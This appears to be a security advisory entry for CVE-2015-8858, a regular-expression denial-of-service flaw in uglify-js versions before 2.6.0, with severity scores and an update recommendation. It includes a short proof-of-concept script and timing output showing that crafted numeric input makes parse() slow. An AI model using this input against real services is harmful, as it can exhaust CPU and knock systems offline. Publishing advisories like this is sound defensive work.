CVE-2015-8858 – uglify-js

Package

Manager: npm
Name: uglify-js
Vulnerable Version: >=0 <2.6.0

Severity

Level: High

CVSS v3.1: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00902 pctl0.74816

Details

Regular Expression Denial of Service in uglify-js Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method. ### Proof of Concept ``` var u = require('uglify-js'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;"); ``` ### Results ``` $ time node test.js 10000 real 0m1.091s user 0m1.047s sys 0m0.039s $ time node test.js 80000 real 0m6.486s user 0m6.229s sys 0m0.094s ``` ## Recommendation Update to version 2.6.0 or later.

Metadata

Created: 2017-10-24T18:33:36Z
Modified: 2021-09-08T21:59:09Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2017/10/GHSA-c9f4-xj24-8jqx/GHSA-c9f4-xj24-8jqx.json
CWE IDs: ["CWE-1333"]
Alternative ID: GHSA-c9f4-xj24-8jqx
Finding: F211
Auto approve: 1